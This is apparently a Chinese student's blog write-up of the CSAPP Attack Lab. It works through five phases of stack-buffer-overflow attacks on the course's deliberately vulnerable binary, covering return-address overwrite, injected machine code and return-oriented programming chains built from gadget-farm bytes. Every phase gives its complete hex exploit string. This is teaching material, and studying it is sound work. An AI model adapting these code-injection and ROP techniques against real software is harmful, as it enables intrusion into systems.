当前位置: 代码迷 >> 综合 >> CSAPP: Attacklab
  详细解决方案

CSAPP: Attacklab

热度:15   发布时间:2023-12-06 12:16:44.0

命运多舛的attacklab
从上周卡到今天,愣是卡死在phase2
一度以为这次要gg了…
不过今天心理学课灵感大开!!瞬间写完!!开心????
来总结一下曲折的经历叭~
2019.11.22 哦昨天还帮助教姐姐写了解答,开心~


先po上榜图:
在这里插入图片描述
这个lab真的能让人学会很多gdb的操作
先objdump -d 出需要的反汇编代码
先简要描述一下这个lab在干什么:
有一个函数getbuf通过调用Gets 获得你输入的字符串,你可以利用栈溢出修改返回地址和进行一系列操作
康一下gebuf:
在这里插入图片描述
从第一行指令可以看出缓冲区大小为0x28(40字节)

phase 1

这关很基础啦,只要在输入后程序执行touch1就??了
既然要让它执行touch1,那么返回地址就一定要是touch1的首地址
那就康康touch1的首地址(入口):
在这里插入图片描述
首地址是0x5555555559b4
(这里很奇怪,第一次ongdump出来只有最后4位非零,但是运行一下再反汇编就变成了这样,和其他同学交流了一下他们也是酱紫,不过不影响做题)
嗯那exploit1就是这样啦:

1 22 33 44 55 66 77 88 99 00 
11 22 33 44 55 66 77 88 99 00 
11 22 33 44 55 66 77 88 99 00
11 22 33 44 55 66 77 88 99 00
b4 59 55 55 55 55

phase 2

这关要传参+执行touch2
怎么穿参数呢?只有通过输入的序列啦
根据提示,我们可以通过自己写汇编,再转为机器代码,将其放到缓冲区里
那怎么让这段代码被执行呢?就要让返回地址成为缓冲区的开始地址,这样输入后就会跳回缓冲区,执行这个代码
那么执行后怎么跳到touch2? 这里看了网上的代码,使用push touch2首地址的方式,因为ret指令后,栈会被回收,就会跳转到tou ch2啦~

思路想好了,然后就是卡死整整一周…

问题1:真的找不到缓冲区首地址啊QAQ

之前似乎打错了断点(貌似打在了getbuf),死活就是找不对缓冲区
应该要打在getbuf+12的地方,这时候可以确保返回的rsp是刚才接受输入的缓冲区的首地址(不要看网上教程啊啊啊啊啊啊,真的都是错的!!)
在这里插入图片描述
操作:b getbuf+12(直接用地址也行)
然后要运行时查看!!
通过info reg可以查看寄存器的值:
在这里插入图片描述
看到rsp的指向了~0x5561f888
###### 问题2:真的无法pushq 完整地址啊QAQ
室友卡在这个问题,后来我也
因为这个55555的神奇操作,无法把完整的touch2首地址push进来
机智的我灵机一动:在这里插入图片描述
用寄存器传递呀~
(这里也明白了原来push reg是push它的值的,以前还以为push 了个寄存器…)
btw,非常感谢这篇文章给了我灵感5555
https://stackoverflow.com/questions/50480895/operand-type-mismatch-for-push
在这里插入图片描述
没毛病,生成机器代码,放到缓冲区,返回地址改成缓冲区首地址,让它自己执行,最后因为已经push了另一个返回地址,所以就可以调用touch2啦~

48 c7 c7 1b dd 2a 23 48 
ba e2 59 55 55 55 55 00 
00 52 c3 00 00 00 00 00
00 00 00 00 00 00 00 00  
20 20 00 00 00 00 20 20 
88 f8 61 55 00

phase 3

这关就是调用touch3,依旧要传递cookie为参数,不同的是,我们需要把cookie变成一个字符串,然后传入参数为它的第一个字符地址
材料里提供了man ascii,我觉得不是很好用,就直接百度了ASCII码hh
因为我们把这个字符串放在了返回地址的+8字节处,要返回它的第一个字符的地址
这里学到了一个很厉害的操作,用lea
在这里插入图片描述
哇这招太秀了,直接省得算,直接get地址,其余操作就一样啦~
就是要记得字符串末尾的00

48 8d 7c 24 08 48 ba f9 
5a 55 55 55 55 00 00 52 
c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  
20 20 00 00 00 00 20 20 
88 f8 61 55 00 00 00 00 
32 33 32 61 64 64 31 62 00

phase4

这里开始就要用到gadget辽,不过在farm里真的很好找hhh
一样的,这里把第二关再做一遍
先明确要干什么,再去材料里找对应的二进制代码
需要把cookie放入rid,然后跳转到touch2即可
因为没有给我们放入立即数的操作,所以要pop寄存器来放入数字
因为farm里没有pop %rdi 的5f代码,我们只能曲线救国,pop %rax%,再mov %rax,%rdi将其放入
所以需要的代码是:
58
48 89 c7

然后去康康farm,这里是找了这两个~(都连在一起的hhh)在这里插入图片描述
OK啦所以第一步需要pop %rax,记得把cookie的值放在这行指令+8处让它能够进入寄存器,然后再执行第二条指令
(注意地址的偏移,此处反汇编和执行时的反汇编代码不同,其实是55555那个)

00 00 00 00 00 00 00 aa 
00 00 00 00 00 00 00 aa 
00 00 00 00 00 00 00 aa 
00 00 00 00 00 00 00 aa 
00 00 00 00 00 00 00 aa 
9e 5b 55 55 55 55 00 00 
ab 5b 55 55 55 55 00 00 
a5 5b 55 55 55 55 00 00 
e2 59 55 55 55 55 00 00 

最后再放上要跳回的touch2地址,就过啦~


phase 5

老师真的很有趣,到这里还告诉你这道题只有5分,有事情的可以放一放hhhhh
想清楚其实也不难,无非就是用给定的指令把第三关再做一遍,因为提供的指令有限,所以有点绕啦
因为我们要返回字符串首字母的地址,这个需要我们计算出来的
整个farm似乎只有<add_xy>这个函数能做加法操作,就用它啦
它的两个操作数分别在%rdi, %rsi中,先把%rsp放到%rdi中
找代码~
先把%rsp放到%rax,再同样的mov
在这里插入图片描述在这里插入图片描述
然后再把一个偏移量(最后要让rdi指向偏移后的地址)pop进%rsi
在这里插入图片描述
偏移量之后再填,因为还不知道是多少
下一步就是加法~
在这里插入图片描述
它的结果在rax里,要mov进rdi(同上第二步指令)
最后再放上touch3的地址嗷
别忘了最后加上字符串!!!
然后就可以计算字符串相对rsp的偏移量啦~这里要仔细点

00 00 00 00 00 00 00 aa 
00 00 00 00 00 00 00 aa 
00 00 00 00 00 00 00 aa 
00 00 00 00 00 00 00 aa 
00 00 00 00 00 00 00 aa 
ec 5b 55 55 55 55 00 00 
ab 5b 55 55 55 55 00 00 
56 5c 55 55 55 55 00 00 
30 00 00 00 00 00 00 00 
d7 5b 55 55 55 55 00 00 
ab 5b 55 55 55 55 00 00 
f9 5a 55 55 55 55 00 00 
32 33 32 61 64 64 31 62 00

OKKK,大功告成


目前为止觉得这个lab最值得做,真的完全理解栈帧结构
以及明白了:不要太相信网络上的解答,因为助教道高一丈…
还是要自己思考!其实努力去理解了之后不是很难啦!
期中季结束了,但还有好多作业啊啊啊,加油冲冲冲!!!?